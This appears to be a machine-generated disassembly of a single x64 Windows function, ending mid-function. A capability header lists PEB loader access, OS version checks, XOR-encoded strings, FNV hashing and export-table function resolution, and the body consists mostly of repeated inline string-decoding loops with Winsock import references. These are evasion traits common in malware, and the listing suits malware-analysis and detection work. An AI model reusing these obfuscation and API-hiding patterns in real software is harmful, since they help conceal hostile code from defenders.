Function at 0x1400c6e60
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x770
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
movaps xmmword [r11 - 0x58], xmm8
movaps xmmword [r11 - 0x68], xmm9
movaps xmmword [r11 - 0x78], xmm10
movaps xmmword [r11 - 0x88], xmm11
movaps xmmword [r11 - 0x98], xmm12
mov rax, qword [0x140398130]
xor rax, rsp
mov qword [rsp + 0x6f8], rax
mov r13, rcx
xor r14d, r14d
mov dword [r11 - 0x6d0], r14d
xor r15b, r15b
mov rdx, qword [rcx + 0x1d8]
test rdx, rdx
je 0x1400c9057
cmp byte [rdx + 0x36], r15b
je 0x1400ca0f8
cmp dword [rdx + 0x30], r14d
jne 0x1400c8d4f
cmp byte [rdx + 0x34], r15b
jne 0x1400c8d4f
mov r8, qword [rdx + 0x10]
test r8, r8
je 0x1400c8d4f
lea rax, [r11 - 0x648]
mov qword [r11 - 0x578], rax
mov qword [r11 - 0x610], r14
mov rdx, qword [rdx + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x6d8], xmm0
mov qword [r11 - 0xb0], r14
mov qword [r11 - 0xa8], r14
lea rcx, [r11 - 0xc0]
call fcn.140086c40
nop
lea r8, [rsp + 0x150]
lea rdx, [rsp + 0x6d8]
lea rcx, [rsp + 0x630]
call fcn.1400a39e0
nop
lea rcx, [rsp + 0x6d8]
call fcn.140087070
movdqa xmm0, xmmword [0x140377880]
movdqu xmmword [rsp + 0xd0], xmm0
movdqa xmm1, xmmword [0x140377100]
movdqu xmmword [rsp + 0xe0], xmm1
mov dword [rsp + 0xf1], 0x96309
mov word [rsp + 0xf5], 0x305
mov byte [rsp + 0xf7], WSAStartup
mov byte [rsp + 0xf0], r15b
mov r9d, r14d
lea r8, [rsp + 0xe8]
nop dword [rax]
lea r11d, [r9 + r9*2]
movzx ecx, byte [rsp + r11 + 0xd0]
mov byte [r8], cl
movzx eax, r9b
add al, al
lea ebx, [rax + r9]
movzx eax, byte [rsp + 0xf3]
add al, bl
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [r11 + 1]
movzx r10d, byte [rsp + rax + 0xd0]
nop dword [rax + rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c7016
inc dl
cmp dl, 4
jne 0x1400c7000
jmp 0x1400c7028
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf6]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [r11 + 2]
mov r10d, eax
movzx edx, byte [rsp + rax + 0xd0]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7052
inc cl
cmp cl, 8
jne 0x1400c7040
jmp 0x1400c7064
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf5]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r10 + 0xd0]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7082
inc cl
cmp cl, 5
jne 0x1400c7070
jmp 0x1400c7094
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf4]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0xf2]
add al, bl
xor byte [r8], al
inc r9d
inc r8
cmp r9d, 8
jne 0x1400c6fc0
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x148], rax
cmp byte [rsp + 0x630], 1
jne 0x1400c70ff
lea r8, [rsp + 0x148]
lea rdx, [rsp + 0x220]
mov rcx, qword [rsp + 0x638]
call fcn.1400afa30
mov rdx, rax
mov rax, qword [rsp + 0x638]
mov rcx, qword [rax]
cmp qword [rdx], rcx
je 0x1400c70ff
mov al, 1
jmp 0x1400c7101
xor al, al
test al, al
je 0x1400c8d34
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6c0], xmm0
mov qword [rsp + 0x6d0], rax
movdqa xmm1, xmmword [0x140377580]
movdqu xmmword [rsp + 0xd0], xmm1
movdqa xmm0, xmmword [0x1403770a0]
movdqu xmmword [rsp + 0xe0], xmm0
mov dword [rsp + 0xf1], 0x72cc72
mov word [rsp + 0xf5], 0x305
mov byte [rsp + 0xf7], 9
mov byte [rsp + 0xf0], al
mov r9d, r14d
lea r8, [rsp + 0xe8]
nop
lea r11d, [r9 + r9*2]
movzx ecx, byte [rsp + r11 + 0xd0]
mov byte [r8], cl
movzx eax, r9b
add al, al
lea ebx, [rax + r9]
movzx eax, byte [rsp + 0xf3]
add al, bl
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [r11 + 1]
movzx r10d, byte [rsp + rax + 0xd0]
nop dword [rax + rax]
movzx eax, r10b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c71c6
inc dl
cmp dl, 4
jne 0x1400c71b0
jmp 0x1400c71d8
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf6]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [r11 + 2]
mov r10d, eax
movzx edx, byte [rsp + rax + 0xd0]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7202
inc cl
cmp cl, 8
jne 0x1400c71f0
jmp 0x1400c7214
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf5]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r10 + 0xd0]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7232
inc cl
cmp cl, 5
jne 0x1400c7220
jmp 0x1400c7244
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0xf4]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0xf2]
add al, bl
xor byte [r8], al
inc r9d
inc r8
cmp r9d, 8
jne 0x1400c7170
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x140], r14
lea rax, [rsp + 0xe8]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400c7290
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x128]
call fcn.140086c40
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x630]
call fcn.140066780
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6c0], xmm1
mov qword [rsp + 0x6d0], r14
mov dword [rsp + 0xc8], reloc.WS2_32.dll_recvfrom
cmp byte [rax], 2
jne 0x1400ca352
mov r8, qword [rax + 8]
lea rax, [rsp + 0x6c0]
cmp rax, r8
je 0x1400c731a
mov rdx, qword [r8]
mov r8, qword [r8 + 8]
sub r8, rdx
sar r8, 4
lea rcx, [rsp + 0x6c0]
call fcn.1400d3860
nop
mov r15d, reloc.WS2_32.dll_listen
mov r12, qword [rsp + 0x6c0]
mov rax, qword [rsp + 0x6c8]
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x148], r12
cmp r12, rax
je 0x1400c8d26
mov rdx, r12
lea rcx, [rsp + 0x650]
call fcn.1400b7a70
nop
movdqa xmm0, xmmword [0x140377f10]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x1403772e0]
movdqu xmmword [rsp + 0x40], xmm1
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x59], 0x720963
mov word [rsp + 0x5d], 0x305
mov byte [rsp + 0x5f], 9
mov byte [rsp + 0x58], 0
mov r10d, r14d
lea r8, [rsp + 0x4e]
lea r11d, [r10 + r10*2]
movzx ecx, byte [rsp + r11 + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea ebx, [rax + r10]
movzx eax, byte [rsp + 0x5b]
add al, bl
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [r11 + 1]
movzx r9d, byte [rsp + rax + 0x30]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c73e6
inc dl
cmp dl, 4
jne 0x1400c73d0
jmp 0x1400c73f5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x5e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [r11 + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7415
inc cl
cmp cl, 8
jne 0x1400c7403
jmp 0x1400c7424
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x5d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7442
inc cl
cmp cl, 5
jne 0x1400c7430
jmp 0x1400c7451
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x5c]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x5a]
add al, bl
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 0xa
jne 0x1400c73a0
lea rax, [rsp + 0x4e]
mov qword [rsp + 0xc8], rax
cmp byte [rsp + 0x650], 1
jne 0x1400c74b6
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0x330]
mov rcx, qword [rsp + 0x658]
call fcn.1400afa30
mov rcx, rax
mov rdi, qword [rsp + 0x658]
mov rax, qword [rdi]
cmp qword [rcx], rax
je 0x1400c74be
mov al, 1
jmp 0x1400c74c0
mov rdi, qword [rsp + 0x658]
xor al, al
test al, al
je 0x1400c8cff
movdqa xmm0, xmmword [0x1403771c0]
movdqu xmmword [rsp + 0x128], xmm0
mov dword [rsp + 0x139], 0xcc72cc
mov word [rsp + 0x13d], 0x305
mov byte [rsp + 0x13f], 0x63
mov byte [rsp + 0x138], 0
mov r10d, r14d
lea r8, [rsp + 0x134]
nop dword [rax]
lea r11d, [r10 + r10*2]
movzx ecx, byte [rsp + r11 + 0x128]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea ebx, [rax + r10]
movzx eax, byte [rsp + 0x13b]
add al, bl
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [r11 + 1]
movzx r9d, byte [rsp + rax + 0x128]
nop dword [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c7566
inc dl
cmp dl, 4
jne 0x1400c7550
jmp 0x1400c7578
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x13e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [r11 + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x128]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c75a2
inc cl
cmp cl, 8
jne 0x1400c7590
jmp 0x1400c75b4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x13d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x128]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c75d2
inc cl
cmp cl, 5
jne 0x1400c75c0
jmp 0x1400c75e4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x13c]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x13a]
add al, bl
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 4
jne 0x1400c7510
lea rax, [rsp + 0x134]
mov qword [rsp + 0xc8], rax
cmp byte [rsp + 0x650], 1
jne 0x1400c764a
lea r8, [rsp + 0xc8]
lea rdx, [rsp + 0x228]
mov rcx, rdi
call fcn.1400afa30
mov rdx, rax
mov rax, qword [rsp + 0x658]
mov rcx, qword [rax]
cmp qword [rdx], rcx
je 0x1400c764a
mov al, 1
jmp 0x1400c764c
xor al, al
test al, al
je 0x1400c8cff
movdqa xmm0, xmmword [0x140377220]
movdqu xmmword [rsp + 0x128], xmm0
mov dword [rsp + 0x139], 0x630963
mov word [rsp + 0x13d], 0x305
mov byte [rsp + 0x13f], Ordinal_211
mov byte [rsp + 0x138], 0
mov r10d, r14d
lea r8, [rsp + 0x134]
nop word [rax + rax]
lea r11d, [r10 + r10*2]
movzx ecx, byte [rsp + r11 + 0x128]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea ebx, [rax + r10]
movzx eax, byte [rsp + 0x13b]
add al, bl
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [r11 + 1]
movzx r9d, byte [rsp + rax + 0x128]
nop dword [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c76f6
inc dl
cmp dl, 4
jne 0x1400c76e0
jmp 0x1400c7708
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x13e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [r11 + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x128]
nop dword [rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7732
inc cl
cmp cl, 8
jne 0x1400c7720
jmp 0x1400c7744
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x13d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x128]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7762
inc cl
cmp cl, 5
jne 0x1400c7750
jmp 0x1400c7774
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x13c]
btc ecx, eax
mov byte [r8], cl
movzx eax, byte [rsp + 0x13a]
add al, bl
xor byte [r8], al
inc r10d
inc r8
cmp r10d, 4
jne 0x1400c76a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rax, [rsp + 0x134]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400c77b0
lea rdx, [rsp + 0x134]
lea rcx, [rsp + 0x30]
call fcn.140086c40
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x650]
call fcn.140066780
lea rdx, [rsp + 0x6d8]
mov rcx, rax
call fcn.1400b7870
or r15d, 2
movdqa xmm0, xmmword [0x140377790]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140377720]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140377360]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140377d20]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140377080]
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8d], 0xcccc72
mov word [rsp + 0x91], 0x305
mov byte [rsp + 0x93], 0x63
mov byte [rsp + 0x8c], 0
mov r10d, r14d
lea r8, [rsp + 0x75]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x8f]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c78c7
inc dl
cmp dl, 4
jne 0x1400c78b1
jmp 0x1400c78d9
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x92]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c78f8
inc cl
cmp cl, 8
jne 0x1400c78e6
jmp 0x1400c790a
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x91]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7924
inc cl
cmp cl, 5
jne 0x1400c7912
jmp 0x1400c7936
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x90]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x8e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0x17
jne 0x1400c7880
lea rax, [rsp + 0x75]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400c7960
lea r9, [rsp + 0x6d8]
cmp qword [rsp + 0x6f0], 0x10
setae r14b
mov rsi, qword [rsp + 0x6d8]
cmovae r9, rsi
mov rdi, qword [rsp + 0x6e8]
cmp rdi, rcx
jne 0x1400c7f1b
mov r8, rdi
lea rdx, [rsp + 0x75]
mov rcx, r9
call fcn.140316790
test eax, eax
jne 0x1400c7f1b
movdqa xmm0, xmmword [0x140377f30]
movdqu xmmword [rsp + 0x190], xmm0
movdqa xmm1, xmmword [0x140377330]
movdqu xmmword [rsp + 0x1a0], xmm1
mov qword [rsp + 0x1b0], 0
mov dword [rsp + 0x1b9], 0x972cc
mov word [rsp + 0x1bd], 0x305
mov byte [rsp + 0x1bf], WSAStartup
mov byte [rsp + 0x1b8], al
xor edi, edi
mov r10d, edi
lea r8, [rsp + 0x1ae]
nop dword [rax]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x190]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x1bb]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x190]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c7a76
inc dl
cmp dl, 4
jne 0x1400c7a60
jmp 0x1400c7a88
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x1be]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x190]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7ab2
inc cl
cmp cl, 8
jne 0x1400c7aa0
jmp 0x1400c7ac4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x1bd]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x190]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7ae2
inc cl
cmp cl, 5
jne 0x1400c7ad0
jmp 0x1400c7af4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x1bc]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x1ba]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xa
jne 0x1400c7a20
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x1ae]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400c7b30
lea rdx, [rsp + 0x1ae]
lea rcx, [rsp + 0x30]
call fcn.140086c40
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x650]
call fcn.140066780
lea rdx, [rsp + 0x660]
mov rcx, rax
call fcn.1400b7870
or r15d, 0x20
mov dword [rsp + 0xc8], r15d
lea rdi, [rsp + 0x660]
mov r14, qword [rsp + 0x678]
mov r12, qword [rsp + 0x660]
mov r15, qword [rsp + 0x670]
cmp r14, 0x10
jb 0x1400c7bab
mov rdi, r12
lea rsi, [r15 + r12]
mov rbx, r12
jmp 0x1400c7bc0
lea rsi, [rsp + 0x660]
add rsi, r15
lea rbx, [rsp + 0x660]
nop
cmp rbx, rsi
je 0x1400c7bef
movsx ecx, byte [rbx]
call fcn.14031ce18
mov byte [rdi], al
inc rbx
inc rdi
mov r14, qword [rsp + 0x678]
mov r15, qword [rsp + 0x670]
mov r12, qword [rsp + 0x660]
jmp 0x1400c7bc0
movdqa xmm0, xmmword [0x140377c90]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x44d1004
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4d], 0x90963
mov word [rsp + 0x51], 0x305
mov byte [rsp + 0x53], WSAStartup
mov byte [rsp + 0x4c], 0
xor r10d, r10d
lea r8, [rsp + 0x45]
nop
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x4f]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c7c76
inc dl
cmp dl, 4
jne 0x1400c7c60
jmp 0x1400c7c85
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x52]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7ca4
inc cl
cmp cl, 8
jne 0x1400c7c92
jmp 0x1400c7cb3
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x51]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7cd2
inc cl
cmp cl, 5
jne 0x1400c7cc0
jmp 0x1400c7ce1
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x50]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x4e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 7
jne 0x1400c7c30
lea rcx, [rsp + 0x45]
mov rsi, 0xffffffffffffffff
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c7d10
lea rcx, [rsp + 0x660]
cmp r14, 0x10
setae dil
cmovae rcx, r12
cmp r15, rax
jne 0x1400c7d57
mov r8, r15
lea rdx, [rsp + 0x45]
call fcn.140316790
test eax, eax
jne 0x1400c7d57
mov byte [r13 + 0x1e4], 2
movaps xmm0, xmmword [0x140377bf0]
jmp 0x1400c7ef1
mov dword [rsp + 0xf8], 0xf01001f3
mov dword [rsp + 0xfc], 0x1001
mov dword [rsp + 0x101], 0x63cc72
mov word [rsp + 0x105], 0x305
mov byte [rsp + 0x107], Ordinal_211
mov byte [rsp + 0x100], 0
xor r10d, r10d
lea r8, [rsp + 0xfe]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0xf8]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, r11b
add al, byte [rsp + 0x103]
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0xf8]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c7df6
inc dl
cmp dl, 4
jne 0x1400c7de0
jmp 0x1400c7e08
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x106]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0xf8]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7e32
inc cl
cmp cl, 8
jne 0x1400c7e20
jmp 0x1400c7e44
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x105]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0xf8]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7e62
inc cl
cmp cl, 5
jne 0x1400c7e50
jmp 0x1400c7e74
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x104]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x102]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 2
jne 0x1400c7da0
lea rcx, [rsp + 0xfe]
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c7ea0
lea rcx, [rsp + 0x660]
test dil, dil
cmovne rcx, r12
cmp r15, rax
jne 0x1400c7ee2
mov r8, r15
lea rdx, [rsp + 0xfe]
call fcn.140316790
test eax, eax
jne 0x1400c7ee2
mov byte [r13 + 0x1e4], 1
movaps xmm0, xmmword [0x140377c10]
jmp 0x1400c7ef1
mov byte [r13 + 0x1e4], 3
movaps xmm0, xmmword [0x140377be0]
movups xmmword [r13 + 0x160], xmm0
lea rcx, [rsp + 0x660]
call fcn.140087070
mov r15d, dword [rsp + 0xc8]
mov r12, qword [rsp + 0x148]
jmp 0x1400c8cef
movdqa xmm0, xmmword [0x140377cc0]
movdqu xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140377710]
movdqu xmmword [rsp + 0x40], xmm1
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x5d], 0xcccc72
mov word [rsp + 0x61], 0x305
mov byte [rsp + 0x63], 0x63
mov byte [rsp + 0x5c], 0
xor r10d, r10d
lea r8, [rsp + 0x51]
nop dword [rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x30]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0x5f]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x30]
nop
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c7fb6
inc dl
cmp dl, 4
jne 0x1400c7fa0
jmp 0x1400c7fc5
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x62]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x30]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c7fe4
inc cl
cmp cl, 8
jne 0x1400c7fd2
jmp 0x1400c7ff3
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x61]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x30]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8012
inc cl
cmp cl, 5
jne 0x1400c8000
jmp 0x1400c8021
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x60]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x5e]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xb
jne 0x1400c7f70
lea rcx, [rsp + 0x51]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400c8045
lea rcx, [rsp + 0x6d8]
test r14b, r14b
cmovne rcx, rsi
cmp rdi, rax
jne 0x1400c85db
mov r8, rdi
lea rdx, [rsp + 0x51]
call fcn.140316790
test eax, eax
jne 0x1400c85db
movdqa xmm0, xmmword [0x140377f30]
movdqu xmmword [rsp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x140377330]
movdqu xmmword [rsp + 0x1f0], xmm1
mov qword [rsp + 0x200], 0
mov dword [rsp + 0x209], 0x972cc
mov word [rsp + 0x20d], 0x305
mov byte [rsp + 0x20f], WSAStartup
mov byte [rsp + 0x208], al
xor edi, edi
mov r10d, edi
lea r8, [rsp + 0x1fe]
nop word [rax + rax]
lea ebx, [r10 + r10*2]
movzx ecx, byte [rsp + rbx + 0x1e0]
mov byte [r8], cl
movzx eax, r10b
add al, al
lea r11d, [rax + r10]
movzx eax, byte [rsp + 0x20b]
add al, r11b
xor al, cl
mov byte [r8], al
xor dl, dl
lea eax, [rbx + 1]
movzx r9d, byte [rsp + rax + 0x1e0]
nop word [rax + rax]
movzx eax, r9b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1400c8136
inc dl
cmp dl, 4
jne 0x1400c8120
jmp 0x1400c8148
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x20e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rsp + rax + 0x1e0]
nop dword [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c8172
inc cl
cmp cl, 8
jne 0x1400c8160
jmp 0x1400c8184
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x20d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [rsp + r9 + 0x1e0]
nop
movzx eax, dl
sar al, cl
test al, 1
jne 0x1400c81a2
inc cl
cmp cl, 5
jne 0x1400c8190
jmp 0x1400c81b4
movsx ecx, byte [r8]
movzx eax, byte [rsp + 0x20c]
btc ecx, eax
mov byte [r8], cl
add r11b, byte [rsp + 0x20a]
xor byte [r8], r11b
inc r10d
inc r8
cmp r10d, 0xa
jne 0x1400c80e0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x1fe]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400c81f0
lea rdx, [rsp + 0x1fe]
lea rcx, [rsp + 0x30]
call fcn.140086c40
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x650]
call fcn.140066780
lea rdx, [rsp + 0x680]
mov rcx, rax
call fcn.1400b7870
or r15d, 0x40
mov dword [rsp + 0xc8], r15d
lea rdi, [rsp + 0x680]
mov r14, qword [rsp + 0x698]
mov r12, qword [rsp + 0x680]
mov r15, qword [rsp + 0x690]
cmp r14, 0x10
